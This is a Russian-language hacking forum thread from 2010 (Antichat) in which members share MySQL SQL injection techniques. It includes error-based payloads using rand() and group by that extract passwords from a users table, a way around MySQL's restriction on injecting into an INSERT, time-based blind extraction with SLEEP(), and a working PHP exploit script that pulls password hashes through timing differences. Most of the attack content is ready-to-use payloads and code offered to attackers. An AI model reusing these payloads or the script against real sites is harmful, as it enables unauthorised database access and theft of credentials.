Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

05.01.2010, 00:30
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
Код:
script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--
Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;
И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:
PHP код:
<?php
mysql_connect("localhost", "root", "");
mysql_select_db ('test');
$rеz = mysql_query ("INSERT INTO users (name,pass) VALUES ('" . $_REQUEST[name] . "','" . $_REQUEST[pass]. "');") or die (mysql_error());
?>
Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:
Код:
test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+
MySQL не позволит этого сделать, выдав ошибку:
Код:
You can't specify target table 'users' for update in FROM clause
Обходится это ограничение очень просто:
Код:
test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+
Последний раз редактировалось cr0w; 05.01.2010 в 05:42..
|
|
|

07.01.2010, 14:07
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Использование sleep() вместо benchmark() ( 32 запроса на md5)
Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок.
В таких случаях применяют find_in_set() и ей подобные.
Я предлагаю ввести новую альтернативу для пятой ветки mysql - sleep().
Рассмотрим следующий запрос:
Код:
SELECT SLEEP((SELECT substring(version(),1,1)))
Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.
Теперь посмотрим, как вытаскивать символы. Предлагаю делать это с помощью ASCII-кодов:
Код:
SELECT SLEEP((SELECT ascii(substring((SELECT password FROM users LIMIT 1,1),1,1)))/50)
В данном запросе задержка будет равна одной пятидесятой от кода символа в секундах.
В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать это число во избежание ошибки.
Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов - 32.
Теперь о плюсах и минусах:
+ Рекордные 32 запроса на md5()
+ Не требует вывода ошибок
- Работает лишь начиная с MySQL 5
- Возможны погрешности, если сервер перегружен
Надо отметить, что минусы не так существены, как плюсы - старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().
P.S. PoC-эксплойта пока не имеется, надеюсь скоро будет.
Последний раз редактировалось Root-access; 07.01.2010 в 14:09..
|
|
|

07.01.2010, 16:17
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.
|
|
|

07.01.2010, 16:28
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от .Slip
Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.
1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().
А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности?
|
|
|

07.01.2010, 16:37
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются:
1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время.
2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени.
Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов.
PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл.
|
|
|

28.01.2010, 23:38
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от Qwazar
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости .
На 6.0.7-alpha-log не сработало (подробно не тестил).
|
|
|

29.01.2010, 01:45
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от Root-access
1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().
Главная заморочка тут с 1-2, т.к. в любом случае нужно замерять среднее время ответа от сервера, а оно может сильно различаться на разных запросах. По поводу п. 3 - в дос сервер от sleep не уйдёт. Реально нужно вводить коэффициенты, т.е. sleep(N)*delta, где delta - вычисляемое время зависящее от времени ответа сервера. Но в таком случае на некоторые символы (при 32 запросах на хеш) будет уходить слишком много времени. Запросов будет меньше, но время работы - существенно больше.
З.Ы.
Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 .
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 29.01.2010 в 01:48..
|
|
|

29.01.2010, 23:54
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Шаблонный PoC-сплойт к посту #22.
Жду предложений по улучшению и результаты тестов.
На реальном движке не тестил, можно подогнать под любой.
Смотреть на Pastebin
PHP код:
<?php
//SLEEP()+INSTR() SQL-Injection
//Корявоватый сплойт от Root-access
$url = "http://site.ru/news.php?id=1";
$id = 0;
function testtime($url) {
$time = time()+microtime();
file_get_contents($url);
return time()+microtime()-$time;
}
echo "Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res = "";
for($i=1;$i<33;$i++) {
$time = time()+microtime();
file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))");
$res = $res.$sym[round(time()+microtime()-$time-$testtime)-1];
}
echo "Hash: ".$res;
?>
Последний раз редактировалось Root-access; 30.01.2010 в 00:48..
|
|
|

30.01.2010, 00:05
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 30.01.2010 в 00:09..
|
|
|

30.01.2010, 00:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме: 7452489
Репутация:
1359
|
|
если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|